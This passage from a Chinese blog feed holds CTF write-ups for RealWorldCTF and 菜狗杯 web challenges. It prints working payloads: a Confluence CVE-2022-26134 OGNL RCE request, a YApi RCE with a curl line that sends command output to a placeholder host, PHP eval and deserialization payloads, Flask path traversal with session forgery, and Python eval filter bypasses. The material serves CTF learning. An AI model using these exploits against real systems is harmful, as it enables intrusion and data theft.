conn.sendall(b&quot;\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00&quot;)    conn.recv(9999)    logging.info(&quot;want file...&quot;)    want_file = bytes([len(filename) + 1]) + b&quot;\x00\x00\x01\xFB&quot; + filename.encode()    conn.sendall(want_file)    content = conn.recv(9999)    logging.info(content)    conn.close()if __name__ == &#39;__main__&#39;:    main()</code></pre><p>最后得到的flag为：</p><pre><code class="language-">rwctf{d041bd251adb4380b3e1dea2bd355f8f}</code></pre><h2 id="%5Bweb%5D-be-a-wiki-hacker" tabindex="-1">[WEB] Be-a-Wiki-Hacker</h2><blockquote><p>题目链接：<a href="https://be-a-rwctfer.realworldctf.com/challenge/63b835c83d60ca000106fc90" target="_blank">https://be-a-rwctfer.realworldctf.com/challenge/63b835c83d60ca000106fc90</a><br />实例链接：<a href="http://47.98.212.188:8080/" target="_blank">http://47.98.212.188:8080/</a></p></blockquote><p>本题可利用的漏洞为<code>CVE-2022-26134</code>即<code>Atlassian Confluence 远程代码执行漏洞</code>。漏洞详情等信息见：<a href="https://blog.csdn.net/weixin_42489549/article/details/125516062" target="_blank">https://blog.csdn.net/weixin_42489549/article/details/125516062</a><br />根据教程构造以下payload：</p><pre><code class="language-text">GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: 47.98.212.188:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close</code></pre><p>最终得到flag</p><pre><code class="language-text">rwctf{154fea37c0f14b519942931db23e89e8} </code></pre><h2 id="%5Bweb%5D-yummy-api" tabindex="-1">[WEB] Yummy Api</h2><blockquote><p>题目链接：<a href="https://be-a-rwctfer.realworldctf.com/challenge/63b831603d60ca000106fc84" target="_blank">https://be-a-rwctfer.realworldctf.com/challenge/63b831603d60ca000106fc84</a><br />实例链接：<a href="http://47.98.161.119:8080" target="_blank">http://47.98.161.119:8080</a> <a href="http://47.98.161.119:9090" target="_blank">http://47.98.161.119:9090</a></p></blockquote><p>本题可利用<code>YApi &lt;1.12.0 远程命令执行漏洞</code>，具体介绍见：<a href="https://www.anquanke.com/post/id/283779#h3-18" target="_blank">https://www.anquanke.com/post/id/283779#h3-18</a><br />笔者使用的是封装好的Exp代码，基本傻瓜式操作，故此处只放出链接：<a href="https://github.com/Anthem-whisper/YApi-Exploit" target="_blank">https://github.com/Anthem-whisper/YApi-Exploit</a><br />使用步骤：首先通过布尔盲注获得加密前的Token，接着通过该token获取项目ID和作者ID，然后得到encrypted token，最后设置command，由于指令运行无回显，可以用curl的方式将执行结果post到一个临时的WEB服务器。<br />盲注获取到的参数如下：</p><pre><code class="language-">target=http://47.98.161.119:9090/token=8fa743801266b2391d16uid=11project_id=66encrypted_token=043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc</code></pre><p>注入指令可以是如下（xxx:xxx）为接收结果的地址：</p><pre><code class="language-shell">curl http://xxx:xxx/&#96;/readflag | base64&#96;</code></pre><p>最后获得flag：</p><pre><code class="language-text">rwctf{y0u_h4ve_f0und_yvmmy_@pi_f0r_c1ph3r_ch4ll3ng3s}</code></pre><h2 id="%5Bpwn%2Fmisc%5D-be-a-pk-lpe-master" tabindex="-1">[PWN/MISC] Be-a-PK-LPE-Master</h2><blockquote><p>题目链接：<a href="https://be-a-rwctfer.realworldctf.com/challenge/63b831603d60ca000106fc84" target="_blank">https://be-a-rwctfer.realworldctf.com/challenge/63b831603d60ca000106fc84</a><br />实例链接：47.98.99.193:6666</p></blockquote><p>本题考查指令提权，可以利用漏洞<code>CVE-2021-4034</code>，相关提权exp见：<a href="https://github.com/luijait/PwnKit-Exploit" target="_blank">https://github.com/luijait/PwnKit-Exploit</a><br />将代码复制进环境，编译后运行，即可获得<code>root</code>权限，接着，读取<code>/flag</code>即可，得到的flag为：</p><pre><code class="language-">rwctf{CVE-2021-4034-PwnKit-is-Awes0me-But-Do-you-know-Handling-argc-0-in-the-kernel}</code></pre>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[菜狗杯 WEB题Writeup]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/cai-gou-bei-web-ti-ti-jie" />
                <id>tag:https://blog.vvbbnn00.cn,2023-01-05:cai-gou-bei-web-ti-ti-jie</id>
                <published>2023-01-05T18:09:50+08:00</published>
                <updated>2023-01-17T03:37:55+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<p>本文章整理了菜狗杯Web题的全部题解，部分题目有参考其他题解。总体来说，菜狗杯Web题目难度较低（当然也有一些难题），考点明显，而且考的知识点也比较全面，很适合我们小白入门。</p><h2 id="%5Bweb%5D-web%E7%AD%BE%E5%88%B0" tabindex="-1">[WEB] web签到</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#web%E7%AD%BE%E5%88%B0-3867" target="_blank">https://ctf.show/challenges#web签到-3867</a></p></blockquote><p>题目源代码：</p><pre><code class="language-php">error_reporting(0);highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE[&#39;CTFshow-QQ群:&#39;]]]][6][0][7][5][8][0][9][4][4]);</code></pre><p>由代码可知，需要一个套娃，Payload可以是：</p><pre><code class="language-text">POST /?b=c HTTP/1.0Host: &lt;host&gt;Cookie: CTFshow-QQ%E7%BE%A4:=aContent-Length: 51Content-Type: application/x-www-form-urlencodeda=b&amp;c[6][0][7][5][8][0][9][4][4]=system(&#39;cat /f*&#39;);</code></pre><p>请求即可获得flag。值得注意的是，请求时，中文需要先URLEncode一下，否则请求可能会出错。</p><h2 id="%5Bweb%5D-c0me_t0_s1gn" tabindex="-1">[WEB] c0me_t0_s1gn</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#web2%20c0me_t0_s1gn-3868" target="_blank">https://ctf.show/challenges#web2 c0me_t0_s1gn-3868</a></p></blockquote><p>查看源代码，可获取第一部分的flag：<code>ctfshow{We1c0me_</code><br />再在控制台输入<code>g1ve_flag()</code>，获取第二部分flag：<code>t0_jo1n_u3_!}</code></p><p>拼接即可：<code>ctfshow{We1c0me_t0_jo1n_u3_!}</code></p><h2 id="%5Bweb%5D-%E6%88%91%E7%9A%84%E7%9C%BC%E9%87%8C%E5%8F%AA%E6%9C%89%24" tabindex="-1">[WEB] 我的眼里只有$</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E6%88%91%E7%9A%84%E7%9C%BC%E9%87%8C%E5%8F%AA%E6%9C%89$-3869" target="_blank">https://ctf.show/challenges#我的眼里只有$-3869</a></p></blockquote><p>题目源代码：</p><pre><code class="language-php">error_reporting(0);extract($_POST);eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);highlight_file(__FILE__);</code></pre><p>可见，是一个比较复杂的套娃，<code>$_</code> 对应的值给<code>$$_</code>，以此类推…<br />可以写python脚本，来完成这个套娃，数了数<code>$</code>，大概有36个</p><pre><code class="language-python">if __name__ == &#39;__main__&#39;:    payload = &#39;_=a&amp;&#39;    l = list(&#39;abcdefghijklmnopqrstuvwxyz&#39;) + [&#39;aa&#39;, &#39;ab&#39;, &#39;ac&#39;, &#39;ad&#39;, &#39;ae&#39;, &#39;af&#39;, &#39;ag&#39;, &#39;ah&#39;, &#39;ai&#39;, &#39;aj&#39;, &#39;ak&#39;]    for i in range(35):        payload += f&#39;{l[i]}={l[i + 1]}&amp;&#39;    print(payload)    import random    print(random.randint(1, 100))</code></pre><p>生成一个初步payload：</p><pre><code class="language-">_=a&amp;a=b&amp;b=c&amp;c=d&amp;d=e&amp;e=f&amp;f=g&amp;g=h&amp;h=i&amp;i=j&amp;j=k&amp;k=l&amp;l=m&amp;m=n&amp;n=o&amp;o=p&amp;p=q&amp;q=r&amp;r=s&amp;s=t&amp;t=u&amp;u=v&amp;v=w&amp;w=x&amp;x=y&amp;y=z&amp;z=aa&amp;aa=ab&amp;ab=ac&amp;ac=ad&amp;ad=ae&amp;ae=af&amp;af=ag&amp;ag=ah&amp;ah=ai&amp;ai=aj&amp;</code></pre><p>稍作修改，加入执行语句，构造最终payload：</p><pre><code class="language-">_=a&amp;a=b&amp;b=c&amp;c=d&amp;d=e&amp;e=f&amp;f=g&amp;g=h&amp;h=i&amp;i=j&amp;j=k&amp;k=l&amp;l=m&amp;m=n&amp;n=o&amp;o=p&amp;p=q&amp;q=r&amp;r=s&amp;s=t&amp;t=u&amp;u=v&amp;v=w&amp;w=x&amp;x=y&amp;y=z&amp;z=aa&amp;aa=ab&amp;ab=ac&amp;ac=ad&amp;ad=ae&amp;ae=af&amp;af=ag&amp;ag=ah&amp;ah=ai&amp;ai=system(&quot;cat /f*&quot;);</code></pre><p>用<code>Postman</code>请求一下，即可获得flag。</p><h2 id="%5Bweb%5D-%E6%8A%BD%E8%80%81%E5%A9%86" tabindex="-1">[WEB] 抽老婆</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E6%8A%BD%E8%80%81%E5%A9%86-3870" target="_blank">https://ctf.show/challenges#抽老婆-3870</a></p></blockquote><p>找到<code>下载老婆</code>按钮的链接：<code>http://host/download?file=xxxx</code>，把<code>?file=xxxx</code>修改掉，网页会报错，根据报错，可以知道以下信息：</p><ul><li>网页使用Flask编写</li><li>当前目录是：<code>/app/static/img/</code></li><li>返回文件的代码是：<code>return send_file('static/img/'+filename,as_attachment=True)</code></li></ul><p>因此，可以访问<code>/download?file=../../app.py</code>下载网页源代码：</p><pre><code class="language-python"># !/usr/bin/env python# -*-coding:utf-8 -*-&quot;&quot;&quot;# File       : app.py# Time       ：2022/11/07 09:16# Author     ：g4_simon# version    ：python 3.9.7# Description：抽老婆，哇偶~&quot;&quot;&quot;from flask import *import osimport randomfrom flag import flag#初始化全局变量app = Flask(__name__)app.config[&#39;SECRET_KEY&#39;] = &#39;tanji_is_A_boy_Yooooooooooooooooooooo!&#39;@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])def index():      return render_template(&#39;index.html&#39;)@app.route(&#39;/getwifi&#39;, methods=[&#39;GET&#39;])def getwifi():    session[&#39;isadmin&#39;]=False    wifi=random.choice(os.listdir(&#39;static/img&#39;))    session[&#39;current_wifi&#39;]=wifi    return render_template(&#39;getwifi.html&#39;,wifi=wifi)@app.route(&#39;/download&#39;, methods=[&#39;GET&#39;])def source():     filename=request.args.get(&#39;file&#39;)    if &#39;flag&#39; in filename:        return jsonify({&quot;msg&quot;:&quot;你想干什么？&quot;})    else:        return send_file(&#39;static/img/&#39;+filename,as_attachment=True)@app.route(&#39;/secret_path_U_never_know&#39;,methods=[&#39;GET&#39;])def getflag():    if session[&#39;isadmin&#39;]:        return jsonify({&quot;msg&quot;:flag})    else:        return jsonify({&quot;msg&quot;:&quot;你怎么知道这个路径的？不过还好我有身份验证&quot;})if __name__ == &#39;__main__&#39;:    app.run(host=&#39;0.0.0.0&#39;,port=80,debug=True)</code></pre><p>得到了<code>SECRET_KEY</code>：<code>tanji_is_A_boy_Yooooooooooooooooooooo!</code>，接着，只需要伪造一个<code>Session</code>，然后访问<code>/secret_path_U_never_know</code>，即可获得flag。</p><p>进入<code>Kali</code>，用<code>flask-session-cookie-manager</code>生成一个<code>Session</code>（注意<code>SECRET_KEY</code>最后还有一个感叹号，不要漏了），原文可以是：</p><pre><code class="language-">{&#39;isadmin&#39;: True}</code></pre><p>得到生成的<code>Session</code>：</p><pre><code class="language-">eyJpc2FkbWluIjp0cnVlfQ.Y7Z_eQ.YKgYUO38Q_hMrzYwzDrhh4B9tS8</code></pre><p>将<code>session</code>覆盖，访问<code>/secret_path_U_never_know</code>，即可获得flag。</p><h2 id="%5Bweb%5D-%E4%B8%80%E8%A8%80%E6%97%A2%E5%87%BA" tabindex="-1">[WEB] 一言既出</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E4%B8%80%E8%A8%80%E6%97%A2%E5%87%BA-3871" target="_blank">https://ctf.show/challenges#一言既出-3871</a></p></blockquote><p>题目源代码：</p><pre><code class="language-php">&lt;?phphighlight_file(__FILE__); include &quot;flag.php&quot;;  if (isset($_GET[&#39;num&#39;])){    if ($_GET[&#39;num&#39;] == 114514){        assert(&quot;intval($_GET[num])==1919810&quot;) or die(&quot;一言既出，驷马难追!&quot;);        echo $flag;    } } </code></pre><ol><li>PHP判断整数会忽略后面的字符，所以只需前面是114514即可。</li><li>assert语句是拼接的，因此，在判断之前截断<code>assert</code>语句即可。</li></ol><p>最终Payload：</p><pre><code class="language-">num=114514);//</code></pre><h2 id="%5Bweb%5D-%E9%A9%B7%E9%A9%AC%E9%9A%BE%E8%BF%BD" tabindex="-1">[WEB] 驷马难追</h2><blockquote><p>题目链接： <a href="https://ctf.show/challenges#%E9%A9%B7%E9%A9%AC%E9%9A%BE%E8%BF%BD-3872" target="_blank">https://ctf.show/challenges#驷马难追-3872</a></p></blockquote><p>题目源代码：</p><pre><code class="language-php">&lt;?phphighlight_file(__FILE__); include &quot;flag.php&quot;;  if (isset($_GET[&#39;num&#39;])){     if ($_GET[&#39;num&#39;] == 114514 &amp;&amp; check($_GET[&#39;num&#39;])){              assert(&quot;intval($_GET[num])==1919810&quot;) or die(&quot;一言既出，驷马难追!&quot;);              echo $flag;     } } function check($str){  return !preg_match(&quot;/[a-z]|\;|\(|\)/&quot;,$str);}</code></pre><p>该题目将上一题的绕过方法修复了，因此，需要通过其他的办法来绕过。<br />我们知道，用<code>==</code>运算符比较字符串和数字时，会自动截断到合法数字为止，而<code>assert</code>语句是拼接而来的，可以用表达式求值，因此，只需算出<code>1919810-114514=?</code>，构造一个<code>114514+?</code>的payload即可。<br />最终payload：</p><pre><code class="language-">?num=114514%2B1805296</code></pre><h2 id="%5Bweb%5D-taptaptap" tabindex="-1">[WEB] TapTapTap</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#TapTapTap-3873" target="_blank">https://ctf.show/challenges#TapTapTap-3873</a></p></blockquote><p>看了一下<code>Network</code>，在游戏结束时没有任何XHR请求，因此，是一个纯前端的游戏，因此，flag一定藏在源代码里面。</p><p>查看<code>habibiScript.js</code>，发现<code>511-515</code>行十分可疑，<code>base64</code>解码后可发现文字是：</p><pre><code class="language-">Your flag is in /secret_path_you_do_not_know/secretfile.txt</code></pre><p>访问对应链接，即可获得flag。</p><h2 id="%5Bweb%5D-webshell" tabindex="-1">[WEB] Webshell</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#Webshell-3874" target="_blank">https://ctf.show/challenges#Webshell-3874</a></p></blockquote><p>题目源代码：</p><pre><code class="language-">&lt;?php     error_reporting(0);    class Webshell {        public $cmd = &#39;echo &quot;Hello World!&quot;&#39;;        public function __construct() {            $this-&gt;init();        }        public function init() {            if (!preg_match(&#39;/flag/i&#39;, $this-&gt;cmd)) {                $this-&gt;exec($this-&gt;cmd);            }        }        public function exec($cmd) {            $result = shell_exec($cmd);            echo $result;        }    }    if(isset($_GET[&#39;cmd&#39;])) {        $serializecmd = $_GET[&#39;cmd&#39;];        $unserializecmd = unserialize($serializecmd);        $unserializecmd-&gt;init();    }    else {        highlight_file(__FILE__);    }?&gt;</code></pre><p>一道十分基础的PHP反序列化题目，根据题意，在本地PHP环境复制代码，创建变量，将<code>cmd</code>变量设置为需要执行的语句即可，由于不能有含flag的字符，因此，使用<code>cat f*</code>。</p><pre><code class="language-php">$p = new Webshell();$p-&gt;cmd = &#39;cat f*&#39;;echo &#39;cmd&lt;br/&gt;&#39;.serialize($p);</code></pre><p>最终Payload：</p><pre><code class="language-">?cmd=O:8:&quot;Webshell&quot;:1:{s:3:&quot;cmd&quot;;s:6:&quot;cat%20f*&quot;;}</code></pre><p>访问即可获得flag。</p><h2 id="%5Bweb%5D-%E5%8C%96%E9%9B%B6%E4%B8%BA%E6%95%B4" tabindex="-1">[WEB] 化零为整</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E5%8C%96%E9%9B%B6%E4%B8%BA%E6%95%B4-3875" target="_blank">https://ctf.show/challenges#化零为整-3875</a></p></blockquote><p>题目源代码：</p><pre><code class="language-">&lt;?phphighlight_file(__FILE__);include &quot;flag.php&quot;;$result=&#39;&#39;;for ($i=1;$i&lt;=count($_GET);$i++){    if (strlen($_GET[$i])&gt;1){        die(&quot;你太长了！！&quot;);        }    else{    $result=$result.$_GET[$i];    }}if ($result ===&quot;大牛&quot;){    echo $flag;}</code></pre><p>很明显，代码的意思是，每个query值长度只能为1，因此，可以把<code>大牛</code>进行URLEncode以后，拆开来请求。<code>大牛</code>的URLEncode结果为：</p><pre><code class="language-">%E5%A4%A7%E7%89%9B</code></pre><p>因此，最终Payload可以是：</p><pre><code class="language-">?1=%E5&amp;2=%A4&amp;3=%A7&amp;4=%E7&amp;5=%89&amp;6=%9B</code></pre><p>请求即可获得flag。</p><h2 id="%5Bweb%5D-%E6%97%A0%E4%B8%80%E5%B9%B8%E5%85%8D" tabindex="-1">[WEB] 无一幸免</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E6%97%A0%E4%B8%80%E5%B9%B8%E5%85%8D-3876" target="_blank">https://ctf.show/challenges#无一幸免-3876</a></p></blockquote><p><strong>该题题解同样适用于<code>无一幸免_FIXED</code></strong></p><p>题目源代码：</p><pre><code class="language-">&lt;?phpinclude &quot;flag.php&quot;;highlight_file(__FILE__);if (isset($_GET[&#39;0&#39;])){    $arr[$_GET[&#39;0&#39;]]=1;    if ($arr[]=1){        die($flag);    }    else{        die(&quot;nonono!&quot;);    }}</code></pre><p>这道题目的代码有些问题，正确的是（详见<code>无一幸免_FIXED</code>）：</p><pre><code class="language-">&lt;?phpinclude &quot;flag.php&quot;;highlight_file(__FILE__);if (isset($_GET[&#39;0&#39;])){    $arr[$_GET[&#39;0&#39;]]=1;    if ($arr[]=1){        die(&quot;nonono!&quot;);    }    else{        die($flag);    }}</code></pre><p>这道题考察的是对PHP语言的理解，<code>$arr[]=1</code>意思是在原先<code>$arr[]</code>的末尾添加一个值为1的元素，因此，<code>$_GET['0']</code>便决定了<code>$arr[]</code>的末尾在哪里。<code>$arr[]=1</code>这句语句在通常情况下不会为<code>false</code>，但是如果遇到数组下标超过整型范围的情况，就有可能会报错。因此，这道题的目的就是要构造一个<code>数值数组</code>，然后让下标足够大，能够让下一个元素无法插入。<br />但是，根据尝试发现，若一个数字过大（超过int64），他就会被视为字符串，在这种情况下，<code>$arr[]=1</code>会直接作用于<code>$arr[0]</code>，依然可以插入成功。因此，这个值只能是int的最大值，根据系统不同，可以是<code>int64</code>，即<code>9223372036854775807</code>或者<code>int32</code>，即<code>2147483647</code>。<br />因此，该题的payload是：</p><pre><code class="language-">?0=9223372036854775807</code></pre><p>或者</p><pre><code class="language-">?0=2147483647</code></pre><h2 id="%5Bweb%5D-%E4%BC%A0%E8%AF%B4%E4%B9%8B%E4%B8%8B%EF%BC%88%E9%9B%BE%EF%BC%89" tabindex="-1">[WEB] 传说之下（雾）</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E4%BC%A0%E8%AF%B4%E4%B9%8B%E4%B8%8B%EF%BC%88%E9%9B%BE%EF%BC%89-3877" target="_blank">https://ctf.show/challenges#传说之下（雾）-3877</a></p></blockquote><p><strong>虽然这道题的BGM是旋律优美的<code>Undertale</code>，但是由于是蜂鸣器演奏的，实在太吵了（恼）</strong></p><p>查看<code>Network</code>，同样没有XHR请求，说明也是一道纯前端的题目。<br />检查源代码，发现js代码中只有这一段是被混淆的：</p><pre><code class="language-javascript">        var _0x51a37f = _0xd0bf;function _0xd0bf(_0x8ea4f1, _0x153eba) {    var _0x2d5fff = _0x3a99();    return _0xd0bf = function (_0x213a01, _0x4437b0) {        _0x213a01 = _0x213a01 - (-0x24b * 0x3 + 0x1e4d + -0x15f3);        var _0x1831ec = _0x2d5fff[_0x213a01];        return _0x1831ec;    }, _0xd0bf(_0x8ea4f1, _0x153eba);}(function (_0x5879ce, _0x490303) {    var _0x4adf0b = _0xd0bf, _0x14fe61 = _0x5879ce();    while (!![]) {        try {            var _0x3368fa = parseInt(_0x4adf0b(0x17d)) / (0x85b + -0x171f * 0x1 + 0xec5) + parseInt(_0x4adf0b(0x17f)) / (-0xdae * -0x2 + -0x838 + -0x1322) * (parseInt(_0x4adf0b(0x18e)) / (-0x2a4 * 0x4 + 0x1bea + -0x17 * 0xc1)) + -parseInt(_0x4adf0b(0x18f)) / (-0x2062 + -0x1ced * -0x1 + 0x379) + -parseInt(_0x4adf0b(0x17a)) / (-0x1ec3 + 0x201 + 0x1cc7) * (-parseInt(_0x4adf0b(0x189)) / (0x709 + 0x1cb2 + -0x23b5)) + parseInt(_0x4adf0b(0x185)) / (-0x1085 * -0x1 + -0x4 * 0x282 + -0x1 * 0x676) + parseInt(_0x4adf0b(0x179)) / (-0x473 * -0x1 + 0x1989 + -0x1df4) * (parseInt(_0x4adf0b(0x186)) / (0x16 * 0x6d + -0x83 * -0xd + -0x84 * 0x1f)) + -parseInt(_0x4adf0b(0x18d)) / (0x7 * -0x84 + 0x21b2 + -0x1e0c) * (parseInt(_0x4adf0b(0x184)) / (0x17b * -0xd + 0xcf7 + 0x653 * 0x1));            if (_0x3368fa === _0x490303)                break;            else                _0x14fe61[&#39;push&#39;](_0x14fe61[&#39;shift&#39;]());        } catch (_0x3c8741) {            _0x14fe61[&#39;push&#39;](_0x14fe61[&#39;shift&#39;]());        }    }}(_0x3a99, 0x26a17 * -0x2 + 0x334e5 * -0x2 + -0x6 * -0x29f2a));function _0x3a99() {    var _0x6365e6 = [        &#39;eXfuD&#39;,        &#39;yfTdI&#39;,        &#39;charCodeAt&#39;,        &#39;oefsssssub&#39;,        &#39;107261wPkTeG&#39;,        &#39;1935661bzjetL&#39;,        &#39;9OkgpFt&#39;,        &#39;log&#39;,        &#39;length&#39;,        &#39;709338pessOW&#39;,        &#39;dugtipx|Vo&#39;,        &#39;2f~&#39;,        &#39;score&#39;,        &#39;880pmgWkE&#39;,        &#39;612rsBWTd&#39;,        &#39;455396nIHYMm&#39;,        &#39;o&#96;o1\x22&#96;///v&#39;,        &#39;4056824evCFGM&#39;,        &#39;5MYkiiK&#39;,        &#39;efs1qi2ej5&#39;,        &#39;fromCharCo&#39;,        &#39;134328iWOQrn&#39;,        &#39;split&#39;,        &#39;2254sHDwVo&#39;    ];    _0x3a99 = function () {        return _0x6365e6;    };    return _0x3a99();}if (this[_0x51a37f(0x18c)] &gt; 0x246e + 0x10aa * -0x2 + 0x1 * 0x503) {    function decypher(_0x5d2ae9 = _0x51a37f(0x18a) + _0x51a37f(0x17b) + _0x51a37f(0x190) + _0x51a37f(0x183) + _0x51a37f(0x18b)) {        var _0x277e4a = _0x51a37f, _0x137bfb = {                &#39;yfTdI&#39;: function (_0x463ef8, _0x28dc0f) {                    return _0x463ef8 &lt; _0x28dc0f;                },                &#39;eXfuD&#39;: function (_0x7e7ab9, _0x3f1d95) {                    return _0x7e7ab9 - _0x3f1d95;                }            }, _0x5bc4fe = _0x5d2ae9[_0x277e4a(0x17e)](&#39;&#39;), _0x129a83 = &#39;&#39;;        for (var _0x2bc8d1 = -0xc68 * -0x3 + 0x8db * -0x4 + -0x1cc; _0x137bfb[_0x277e4a(0x181)](_0x2bc8d1, _0x5bc4fe[_0x277e4a(0x188)]); _0x2bc8d1++) {            var _0x3a0f1b = _0x5bc4fe[_0x2bc8d1][_0x277e4a(0x182)](-0x10 * 0x4d + -0x1f1 + 0x6c1);            _0x3a0f1b = _0x137bfb[_0x277e4a(0x180)](_0x3a0f1b, -0x6 * 0x52b + 0x1 * 0xb5f + 0x13a4), _0x129a83 += String[_0x277e4a(0x17c) + &#39;de&#39;](_0x3a0f1b);        }        return _0x129a83;    }    console[_0x51a37f(0x187)](decypher());}</code></pre><p>最后的if很可疑，大概率就是判断是否满足游戏条件的部分，把if判断给去掉，再把整段代码在<code>console</code>跑一下，很快就得出了flag。</p><pre><code class="language-">ctfshow{Under0ph1di4n_n0!_...underrrrrta1e}</code></pre><h2 id="%5Bweb%5D-%E7%AE%97%E5%8A%9B%E8%B6%85%E7%BE%A4" tabindex="-1">[WEB] 算力超群</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E7%AE%97%E5%8A%9B%E8%B6%85%E7%BE%A4-3878" target="_blank">https://ctf.show/challenges#算力超群-3878</a></p></blockquote><p>打开页面，是一个计算器，随便输入一点东西，抓包得到请求地址<code>/_calculate?number1=&amp;operator=&amp;number2=0.</code><br />试着随便请求一些东西，发现<code>operator</code>参数被限制只能输入特定的一些运算符，但是<code>number2</code>可以随便输入。随便输入了一些字母，发现进入了<code>flask</code>的调试界面，易得计算原理是：</p><pre><code class="language-">result = eval(a + operator + b)</code></pre><p>因此，可以构造以下payload：</p><pre><code class="language-">/_calculate?number1=&amp;operator=&amp;number2=__import__(%27os%27).popen(&quot;cat%20/flag&quot;).read()</code></pre><p>访问即可获得flag。</p><h2 id="%5Bweb%5D-%E7%AE%97%E5%8A%9B%E5%8D%87%E7%BA%A7" tabindex="-1">[WEB] 算力升级</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#%E7%AE%97%E5%8A%9B%E5%8D%87%E7%BA%A7-3879" target="_blank">https://ctf.show/challenges#算力升级-3879</a></p></blockquote><p>这道题相较于<code>算力超群</code>有了更多限制，点击<code>查看源码</code>可知：</p><pre><code class="language-python">    for item in pattern.findall(code):#从code里把单词拿出来        if not re.match(r&#39;\d+$&#39;,item):#如果不是数字            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较               return jsonify({&quot;result&quot;:1,&quot;msg&quot;:f&quot;你想干什么？{item}不是有效的函数&quot;})    try:        result=eval(code)        return jsonify({&quot;result&quot;:0,&quot;msg&quot;:f&quot;计算成功，答案是{result}&quot;})    except:        return jsonify({&quot;result&quot;:1,&quot;msg&quot;:f&quot;没有执行成功，请检查你的输入。&quot;})</code></pre><p>非数字的部分，只能使用gmpy2库里的函数名，那么只需要用函数名包含的字符来拼接payload即可，可以写一个python脚本来生成payload：</p><pre><code class="language-python">import gmpy2def constructCmd(cmd):    result = &#39;&#39;    for c in cmd:        b = False        for cc in dir(gmpy2):            if c in cc:                result += f&#39;\&#39;{cc}\&#39;[{cc.find(c)}]+&#39;                b = True                break        if not b:            result += f&quot;&#39;{c}&#39;+&quot;    return &quot;gmpy2.__builtins__[&#39;Default&#39;[1]+&#39;DivisionByZeroError&#39;[2]+&#39;Default&#39;[3]+&#39;Default&#39;[5]](&quot; + result[0:len(result)-1] + &quot;)&quot;if __name__ == &#39;__main__&#39;:    print(constructCmd(&#39;__import__(&quot;os&quot;).popen(&quot;cat /flag&quot;).read()&#39;))    print(eval(constructCmd(&#39;__import__(&quot;os&quot;).popen(&quot;whoami&quot;).read()&#39;)))</code></pre><p>最后生成的payload为：</p><pre><code class="language-">gmpy2.__builtins__[&#39;Default&#39;[1]+&#39;DivisionByZeroError&#39;[2]+&#39;Default&#39;[3]+&#39;Default&#39;[5]](&#39;HAVE_THREADS&#39;[4]+&#39;HAVE_THREADS&#39;[4]+&#39;DivisionByZeroError&#39;[1]+&#39;__name__&#39;[4]+&#39;InvalidOperationError&#39;[8]+&#39;DivisionByZeroError&#39;[6]+&#39;DivisionByZeroError&#39;[12]+&#39;Default&#39;[6]+&#39;HAVE_THREADS&#39;[4]+&#39;HAVE_THREADS&#39;[4]+&#39;(&#39;+&#39;&quot;&#39;+&#39;DivisionByZeroError&#39;[6]+&#39;DivisionByZeroError&#39;[4]+&#39;&quot;&#39;+&#39;)&#39;+&#39;.&#39;+&#39;InvalidOperationError&#39;[8]+&#39;DivisionByZeroError&#39;[6]+&#39;InvalidOperationError&#39;[8]+&#39;Default&#39;[1]+&#39;DivisionByZeroError&#39;[7]+&#39;(&#39;+&#39;&quot;&#39;+&#39;InexactResultError&#39;[5]+&#39;Default&#39;[3]+&#39;Default&#39;[6]+&#39; &#39;+&#39;/&#39;+&#39;Default&#39;[2]+&#39;Default&#39;[5]+&#39;Default&#39;[3]+&#39;RangeError&#39;[3]+&#39;&quot;&#39;+&#39;)&#39;+&#39;.&#39;+&#39;DivisionByZeroError&#39;[12]+&#39;Default&#39;[1]+&#39;Default&#39;[3]+&#39;InvalidOperationError&#39;[6]+&#39;(&#39;+&#39;)&#39;)</code></pre><p>提交计算，即可获得flag。</p><h2 id="%5Bweb%5D-easypython_p" tabindex="-1">[WEB] easyPytHon_P</h2><blockquote><p>题目链接：<a href="https://ctf.show/challenges#easyPytHon_P-3880" target="_blank">https://ctf.show/challenges#easyPytHon_P-3880</a></p></blockquote><p>题目源代码：</p><pre><code class="language-python">from flask import requestcmd: str = request.form.get(&#39;cmd&#39;)param: str = request.form.get(&#39;param&#39;)# ------------------------------------- Don&#39;t modify ↑ them ↑! But you can write your code ↓import subprocess, osif cmd is not None and param is not None:    try:        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)        print(&#39;Done!&#39;)    except subprocess.TimeoutExpired:        print(&#39;Timeout!&#39;)    except:        print(&#39;Error!&#39;)else:    print(&#39;No 